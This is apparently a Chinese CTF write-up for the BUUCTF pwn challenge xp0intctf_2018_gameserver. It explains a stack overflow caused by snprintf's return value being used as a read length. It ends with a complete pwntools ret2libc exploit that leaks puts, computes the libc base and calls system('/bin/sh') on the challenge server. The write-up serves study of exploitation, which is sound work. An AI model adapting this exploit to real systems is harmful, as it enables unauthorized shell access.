[BUUCTF-pwn] xp0intctf_2018_gameserver

snprintf 函数错用造成栈溢出漏洞

32位程序，没有canary ，又是一个rop的题

先看程序：

puts("First, you need to tell me you name?");
  fgets(byte_804A180, 256, stdin);
  v4 = strrchr(byte_804A180, 10);
  if ( v4 )
    *v4 = 0;
  printf("Hello %s\n", byte_804A180);
  puts("What's you occupation?");
  fgets(byte_804A080, 256, stdin);
  v4 = strrchr(byte_804A080, 10);
  if ( v4 )
    *v4 = 0;
  printf("Well, my noble %s\n", byte_804A080);
  nbytes = snprintf(                            // 返回值为322 溢出
             s,
             0x100u,
             "Our %s is a noble %s. He is come from north and well change out would.",
             byte_804A180,
             byte_804A080);
  puts("Here is you introduce");
  puts(s);
  puts("Do you want to edit you introduce by yourself?[Y/N]");
  v2 = getchar();
  getchar();
  if ( v2 == 89 )
    read(0, s, nbytes);

先读入两个0x100长的串，放到0x804A180和0x804A080然后snprintf到栈中的s串，然后可以修改s 。貌似都没有溢出，但snprintf的用法不大对：

 返回值为预写入字符串的长度。也就是说n截断并不影响返回整个字符串的长度。

这里如果前两个串比较大就会造成nbytes比0x100大形成溢出。

试的时候有个问题，如果两个都输满0x100会造成写不进去，没搞明白。不过其实1个溢出就足够，32位只要溢出ebp再加16字节就够了 ebp:4+plt.puts:4+main:4+pot.puts 

然后就比较简单了：

from pwn import *

local = 0
if local == 1:  #local
    p = process('./pwn')
elif local == 0:           #remote
    p = remote('node4.buuoj.cn', 29416) 

libc_elf = ELF('/home/shi/pwn/libc6-i386_2.27-3u1/libc-2.27.so')
one = [0x3cbea,0x3cbec,0x3cbf0,0x3cbf7,0x6729f,0x672a0,0x13573e,0x13573f]
libc_start_main_ret = 0x1eee5    

elf = ELF('./pwn')
context(arch = 'i386', log_level='debug')

#gdb.attach(p, 'b*0x80487b5')

p.sendafter(b'name?\n', b'A'*0x100)
p.sendafter(b'occupation?\n', b'\n')
p.sendlineafter(b'Do you want to edit you introduce by yourself?[Y/N]\n', b'Y')
p.sendline(b'A'*(0x111+4) + flat(elf.plt['puts'], 0x8048637, elf.got['puts']))
libc_base = u32(p.recvuntil(b'\xf7')[-4:]) - libc_elf.sym['puts']
system    = libc_base + libc_elf.sym['system']
bin_sh    = libc_base + next(libc_elf.search(b'/bin/sh'))
print('libc:', hex(libc_base))

p.sendafter(b'name?\n', b'A'*0x100)
p.sendafter(b'occupation?\n', b'\n')
p.sendlineafter(b'Do you want to edit you introduce by yourself?[Y/N]\n', b'Y')
p.sendline(b'A'*(0x111+4) + flat(system, 0x8048637, bin_sh))

p.interactive()

标签：xp0intctf,BUUCTF,puts,libc,elf,v4,pwn,0x100,byte
来源： https://blog.csdn.net/weixin_52640415/article/details/121383595